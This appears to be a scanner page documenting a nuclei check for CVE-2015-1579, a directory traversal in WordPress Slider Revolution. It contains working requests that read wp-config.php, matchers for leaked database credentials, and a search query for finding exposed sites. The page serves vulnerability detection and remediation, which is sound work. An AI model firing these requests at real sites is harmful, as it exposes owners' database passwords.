WordPress Slider Revolution - Local File Disclosure

mediumseverity

5CVSS score

20.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the img parameter in a revslider_show_image action to wp-admin/admin-ajax.php. NOTE: this vulnerability may be a duplicate of CVE-2014-9734.

Impact

An attacker can read arbitrary files on the server, potentially exposing sensitive information.

Fix

Update the WordPress Slider Revolution plugin to the latest version to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php ; GET {{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
Positive when: contains "'DB_NAME'" and "'DB_PASSWORD'" and "'DB_USER'" AND status 200

Run it with nuclei: nuclei -id CVE-2015-1579 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-1579

info:
  name: WordPress Slider Revolution - Local File Disclosure
  author: pussycat0x
  severity: medium
  description: |
    Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the img parameter in a revslider_show_image action to wp-admin/admin-ajax.php. NOTE: this vulnerability may be a duplicate of CVE-2014-9734.
  impact: |
    An attacker can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update the WordPress Slider Revolution plugin to the latest version to fix the vulnerability.
  reference:
    - https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html
    - https://cxsecurity.com/issue/WLB-2021090129
    - https://wpscan.com/vulnerability/4b077805-5dc0-4172-970e-cc3d67964f80
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1579
    - https://wpvulndb.com/vulnerabilities/7540
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-1579
    cwe-id: CWE-22
    epss-score: 0.20895
    epss-percentile: 0.97576
    cpe: cpe:2.3:a:elegant_themes:divi:-:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: elegant_themes
    product: divi
    framework: wordpress
    google-query: inurl:/wp-content/plugins/revslider
  tags: cve2015,cve,wordpress,wp-plugin,lfi,revslider,wp,wpscan,elegant_themes,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
      - '{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'DB_NAME'"
          - "'DB_PASSWORD'"
          - "'DB_USER'"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from